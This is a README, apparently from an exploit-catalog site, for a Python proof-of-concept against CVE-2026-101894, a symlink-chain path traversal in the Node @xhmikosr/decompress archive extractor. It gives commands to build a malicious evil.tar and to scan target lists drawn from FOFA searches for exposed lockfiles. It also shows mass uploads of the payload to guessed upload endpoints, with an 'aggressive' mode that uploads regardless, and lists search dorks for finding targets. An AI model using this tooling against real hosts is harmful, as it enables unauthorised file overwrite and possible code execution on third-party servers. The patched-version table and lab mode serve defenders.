
PoC em Python para CVE-2026-101894: path traversal por cadeia de symlinks em @xhmikosr/decompress. Inclui laboratório Node local, varredura de versão em lockfile e exploit de upload em massa de evil.tar.
PoC em Python 3 para CVE-2026-101894 — a extração de arquivos Node.js em @xhmikosr/decompress (e no decompress sem manutenção) permite leitura/escrita fora do diretório de saída através de uma cadeia de entradas symlink. Contorna o hardening do CVE-2026-53486. CVSS 3.1 9.1 Crítico.
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Catálogo | https://pocbit.org/pocs/ |
| Pacote | @xhmikosr/decompress (mantido), decompress (kevva, sem patch) |
| API | Padrão decompress(input, output) |
| CWE | CWE-22 path traversal, CWE-59 link following |
| Corrigido | 10.2.2 (10.x), 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress, tar/zip vb. arşivleri hedef klasöre açarken lexical path kontrolleri uygular; ancak ardışık symlink girdileri ile kernel, sonraki girdileri çıktı dizini dışında çözebilir. Saldırgan kontrollü arşivle config, startup script veya hassas dosyaların üzerine yazabilir / okuyabilir → RCE senaryosu (CI, container, upload+extract servisleri).
@xhmikosr/decompress için yama: 10.2.2 ve 11.1.4. Eski decompress paketi 4.2.1’e kadar aynı sınıfta ve yama almıyor — @xhmikosr/[email protected]+’e geçin.
| Modo | Propósito |
|---|---|
--lab | Instala a 11.1.3 em lab/, verifica escrita externa com cadeia de symlink em evil.tar |
--write-evil-tar | Grava o arquivo de payload em disco (marcador POCBIT-101894-ESCAPED) |
check | package.json / lockfile no alvo remoto → versão ≤ de risco? |
exploit | POST para caminhos comuns de upload com evil.tar de cadeia de symlink (mass bulk) |
| mass | --list + -j; hits.txt / exploited.txt |
O exploit remoto não prova que o servidor realmente abre o arquivo com decompress; aceitação de upload 2xx + fingerprint de versão vulnerável é considerado exploited. Para prova definitiva, use --lab.
hits.txt vs exploited.txt (situação comum)| Etapa | O que prova |
|---|---|
| check → hits.txt | /package.json ou /package-lock.json exposto e contendo decompress vulnerável |
| exploit → exploited.txt | Pelo menos uma das URLs genéricas de upload testadas pela PoC retornou HTTP 2xx |
Na lista FOFA Express, 500 scans → 2 hits é normal. 2 hits + 0 exploits (vulnerable_dep_no_upload_endpoint) também é normal: vazamento de dependência ≠ upload de arquivo aberto ao público. Este CVE exige, para exploração, que a aplicação abra arquivos não confiáveis com decompress(); em sites HID / aleatórios na :8088, os 8–11 caminhos padrão da PoC geralmente não existem.
# Prova da cadeia (local)
python poc.py --lab
# Hits: apenas dependência + tentativa de upload
python poc.py --list hits.txt --mode exploit -j 2
# Esperado: upload_ok=0, status vulnerable_dep_no_upload_endpoint
| Pacote | Vulnerável | Corrigido |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | nenhuma — migre |
cd CVE-2026-101894
pip install -r requirements.txt
Lab: Node.js + npm no PATH (Linux/macOS recomendado para o comportamento de extração de symlink).
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| Flag | Significado |
|---|---|
--lab | PoC de extração Node local |
--aggressive | Explora mesmo sem lockfile vulnerável exposto |
--upload-paths | Caminhos POST personalizados separados por vírgula |
--exploited-list | Alvos onde o upload retornou 2xx |
Cadeia de symlink (simplificada):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt com payload marcadorCorresponde à classe de bypass por cadeia de symlink descrita nas notas de versão da 11.1.4 (correção de realpath / contenção).
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
A lista de dorks FOFA de upload/zip (fofa_results_1000) é mais adequada para superfície de exploit do que a lista Express-only de 500; ainda assim, hit = lockfile + decompress vulnerável, exploit = upload 2xx.
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(Lockfile raramente é público em produção; a verificação frequentemente encontra staging, artefatos de CI, hospedagem estática mal configurada.)
Teste apenas sistemas que você está autorizado a avaliar. Não faça upload de arquivos maliciosos para serviços de produção de terceiros.
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894